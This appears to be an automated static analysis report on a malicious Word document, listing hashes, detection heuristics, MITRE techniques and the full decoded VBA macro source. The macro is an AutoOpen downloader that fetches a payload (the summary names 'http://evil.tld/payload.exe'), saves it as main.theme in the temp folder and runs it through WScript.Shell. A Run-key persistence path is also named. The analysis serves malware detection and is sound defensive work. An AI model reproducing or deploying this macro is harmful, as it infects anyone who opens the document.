Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 48576d904ca6a41f…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-06 11:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 4e54feaff3e4d8cbf29a87d62b78e2b2 SHA-1: 23f6a0509680711da627c95a0bbf05b513498dc2 SHA-256: 48576d904ca6a41f7be143e6aa30a01e9577dde2f744ebe2a43579c05550cc4e
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is triggered upon opening, which uses WScript.Shell to execute a downloaded payload. The script reconstructs the URL 'http://evil.tld/payload.exe' to download the payload and saves it to the temporary directory as 'main.theme'. It also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function f5fb5233(c05c47ae)
Set cd2e5707 = CreateObject("wscript.shell")
Call cd2e5707.exec(c05c47ae)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function f5fb5233(c05c47ae)
Set cd2e5707 = CreateObject("wscript.shell")
Call cd2e5707.exec(c05c47ae)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "c68137a3"
Sub AutoOpen()
Dim f0b0e9c1 As New bbcea468
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function e597870f()
e597870f = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack3\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: ff418e288503928cd9b3439cb4bf8897078aed064bd971bc88362555239e8e42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c68137a3"
Sub AutoOpen()
Dim f0b0e9c1 As New bbcea468
Dim c8a3f16c As String
c8a3f16c = aec6dd3e(ActiveDocument.Shapes(1).AlternativeText)
a0b17378 = f0b0e9c1.a6546145(c8a3f16c)
c1e6ee5d e597870f, a0b17378
ce40b551 = f0b0e9c1.f5fb5233(f424fe65 & " " & e597870f)
End Sub

Attribute VB_Name = "e3022e1b"
Sub c1e6ee5d(f39b4a9b, a31ba690)
Dim c1efc90f
c1efc90f = FreeFile
Open f39b4a9b For Output As #c1efc90f
Print #c1efc90f, a7e921f3(a31ba690)
Close #c1efc90f
End Sub
Function e597870f()
e597870f = Environ("temp") & "\main.theme"
End Function
Function aec6dd3e(d8986d1a)
'aec6dd3e = StrReverse(d8986d1a)
aec6dd3e = d8986d1a
End Function
Sub e0d105f2()
End Sub
Function a7e921f3(a31ba690)
a7e921f3 = StrConv(a31ba690, 64)
End Function
Function f424fe65()
f424fe65 = aec6dd3e(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "bbcea468"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function a6546145(dd0d7bec)
Dim aab82afd As Object
Set aab82afd = New MSXML2.XMLHTTP60
aaa = aab82afd.Open("GET", dd0d7bec, False)
aab82afd.Send
a6546145 = aab82afd.responsebody
End Function
Function f5fb5233(c05c47ae)
Set cd2e5707 = CreateObject("wscript.shell")
Call cd2e5707.exec(c05c47ae)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: d64916a7d0095a76d2e2f3f2eb29074b3733ab1fee52546d0b78f0481d185624

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